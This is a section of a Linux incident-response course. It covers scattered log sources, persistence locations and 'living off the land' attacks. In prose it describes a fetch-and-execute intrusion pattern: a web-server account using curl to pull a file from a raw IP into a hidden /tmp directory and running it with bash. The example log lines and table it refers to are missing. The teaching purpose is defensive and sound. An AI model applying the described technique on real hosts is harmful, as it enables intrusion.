In this section
Why Linux Incident Response Differs From Windows
If you have done any incident response, you already know the shape of the work: an alert fires, you scope it, you collect evidence before it disappears, you reconstruct what happened, you contain and eradicate. That methodology transfers to Linux unchanged. What does not transfer is almost everything underneath it — where the evidence lives, how you collect it, and what "normal" looks like. This section is about the gap between the methodology you keep and the mechanics you have to relearn.
The first thirty minutes on an unfamiliar Linux host
An alert tells you a public-facing server has been making outbound connections to an address with no business reason. The server is Linux. You have SSH access. The clock is running, because if the box is compromised the attacker may still be on it and evidence is changing under your feet.
If your training is on Windows endpoints or Microsoft 365, your instincts now lead you nowhere. There is no Event Viewer to open and no Security log to filter. There is no agent console that has already parsed the host into a tidy process tree and timeline. There is no registry to check for autoruns. The single most useful Windows IR reflex — pull the centralized event log and pivot from there — has no equivalent, because Linux has no centralized event log. What it has instead is a dozen separate sources, each in its own location and format, none of which talk to each other, and a kernel that will hand you the complete state of every running process if you know which files to read.
This is not a harder problem than Windows IR. It is a different problem, and the analysts who struggle are the ones who try to map Windows concepts onto Linux one-to-one and find that the map is mostly blank. The ones who do well learn the handful of architectural facts that make Linux its own discipline, and then find that Linux is, if anything, more transparent than Windows once you know where to look. This section is those facts.
What transfers, and what doesn't
Start by separating what you keep from what you relearn, because conflating the two is the source of most early mistakes.
The left column is why your experience is worth something here. The right column is the rest of this module. Three facts in that right column do most of the damage to a Windows-trained analyst's instincts, so take them one at a time.
Fact one: there is no central event log
On Windows, the Event Log service is the spine of an investigation. Security, System, Application, Sysmon, PowerShell — different channels, but one subsystem, one query interface, one place to pivot from. You learn to live in it.
Linux has nothing equivalent, and this is the adjustment that catches people hardest. Authentication events are written to one file. The kernel and most services write to a separate subsystem, the systemd journal, in a binary format you query with its own tool. The web server writes its own logs in its own directory in its own format. The shell writes command history to a file in each user's home directory. Fine-grained syscall auditing, if it is enabled at all, goes to yet another log through a separate daemon. None of these are aware of each other. There is no join key, no shared timestamp authority, no console that merges them.
The investigative consequence is that correlation is your job, not the platform's. You will pull a successful login from the authentication log, a process launch from the journal, an outbound connection from a network capture or the host's own records, and a file write from the filesystem timestamps. Four sources, four formats, and you line them up on a single timeline yourself. Module 3 is devoted to exactly this skill. The upside, once you accept the work: because these sources are independent, an attacker who tampers with one often forgets another, and the disagreement between them becomes evidence in its own right.
This independence is not an accident of neglect. Linux grew from the Unix tradition of small programs that each do one thing and write their output as text, composed together by the administrator rather than integrated by the vendor. The authentication system, the service manager, and each application were built separately and log separately because that is the design philosophy of the platform. For day-to-day administration it is flexible and transparent. For an investigator it means the burden of assembly falls on you, and the reward is that no single subsystem holds a monopoly on the truth.
A concrete picture helps. Suppose you are reconstructing how an attacker got from a network alert to a running payload. The story is told across four files, none of which knows about the others:
No tool drew that timeline for you. You found the login by reading the authentication log, confirmed the session in the journal, dated the dropped file from its filesystem timestamps, and tied the connection to the process through the network evidence. Each source is partial. Together they are a narrative. Learning to do this quickly and reliably is most of what separates a confident Linux investigation from a stalled one, and it is the spine of Module 3.
/var/log/auth.log · /var/log/secure | Logins, sudo, SSH, account changes |
systemd journal (journalctl) | Service starts/stops, most daemon output, kernel messages |
/var/log/audit/audit.log | Syscall-level auditing — if auditd is configured |
~/.bash_history | Per-user shell command history |
app logs (e.g. /var/log/nginx/) | Web server, database, application-specific evidence |
The exact filenames vary by distribution — Debian and Ubuntu use /var/log/auth.log, while Red Hat-family systems use /var/log/secure for the same authentication events. Knowing that a file is missing where you expected it, and where the same evidence lives on a different distribution, is part of the fluency this course builds.
Fact two: there is no registry, so persistence is everywhere
On Windows, an attacker who wants to survive a reboot has a well-trodden set of options, and a large fraction of them route through the registry: Run keys, services, scheduled tasks recorded in known locations. You learn the autorun locations and you check them.
Linux has no registry — no single hierarchical store of system and application configuration. Configuration is scattered across plain-text files, and "run this when the system starts" or "run this on a schedule" can be arranged in many independent places: a cron entry, a systemd service or timer, a line appended to a shell startup file, an extra SSH key dropped into a user's authorized keys, a modified system binary, an init script. Each is a legitimate mechanism that the system depends on for normal operation, which is exactly why attackers use them.
There is no single list to check. What replaces it is knowing the locations, and that knowledge is durable because the set of persistence mechanisms changes slowly. Section 0.6 gives you the first-look list, and Module 7 works through each mechanism with the evidence it leaves. The investigative habit to build now: persistence on Linux is found by enumerating known locations and asking, of each entry, "should this be here?" — not by querying one autoruns store.
Fact three: the attacker is using the same tools you are
The technique that defines modern Linux intrusion is living off the land — operating entirely through legitimate, pre-installed binaries. An attacker on a compromised Linux host rarely needs to bring malware. The tools to download a payload (curl, wget), decode it (base64), run it (bash, python3, perl), schedule it (cron, systemd), and move to the next host (ssh, scp) all ship with the operating system and are used constantly by legitimate administrators.
Nothing in that list is malware. curl and bash are on every server. What makes lines 2148 and 2151 evidence is not the binary. It is the context: the web server's unprivileged user (www-data) is running curl to fetch a file from a raw IP into a hidden directory under /tmp, then executing it with bash. A web server process has no legitimate reason to do that. The skill Linux IR demands is not "find the malicious file." It is "recognize a legitimate tool being used illegitimately," which means you must know what each process should be doing. That is why so much of this course is spent teaching you what normal looks like: the anomaly is only visible against the baseline.
Read the same five lines as an administrator who knows the host and several signals jump out at once. The directory name /tmp/.cache/up begins with a dot, so it is hidden from a plain ls, and /tmp is world-writable and cleared on reboot, which is why attackers favor it for staging. The download target is a bare IP address with no hostname, where legitimate software almost always uses a name. The fetching process is www-data, an account that exists to serve web pages and should never be downloading and executing arbitrary files. And the parent-child relationship matters: a web application spawning curl which spawns bash is a process lineage that legitimate web serving does not produce. None of these facts is conclusive alone. Together they are a confident finding, and each one is something you can only see because you know what the absence of it looks like.
This is the reframe that the rest of the course rests on. On Windows you often hunt for the foreign object: the unsigned binary, the unexpected file. On Linux you hunt for the familiar object behaving unfamiliarly, because the attacker is wearing the system's own clothes. Build the instinct now to ask, of every process and every connection, "is this the kind of thing this user and this service should be doing?" That question, applied relentlessly, is the engine of Linux investigation.
curl, bash, and cron, which no scanner flags. A clean AV result on Linux tells you almost nothing. The evidence is in the behavior (what ran, as which user, connecting where), not in a file a signature can match.Why the difference works in your favor
It would be easy to read the three facts above as obstacles. They are the opposite once you adjust. Because there is no opaque central subsystem, everything on a Linux host is inspectable with standard commands. The running processes, the open network connections, the file each process was launched from, the user behind it — all of it is exposed directly by the kernel, in plain view, on every system, with no agent required. Section 0.4 shows how the kernel hands you the complete state of any process as readable files. A Windows analyst depends on tooling to surface what the OS hides; a Linux analyst reads the OS directly.
The methodology you brought is intact. The mechanics are learnable, and they are the same on every Linux system you will ever touch. That is what makes the time you spend here transfer to your own servers rather than to a single course scenario. The rest of this module builds those mechanics, starting with how a real compromise unfolds and the evidence it leaves at each step.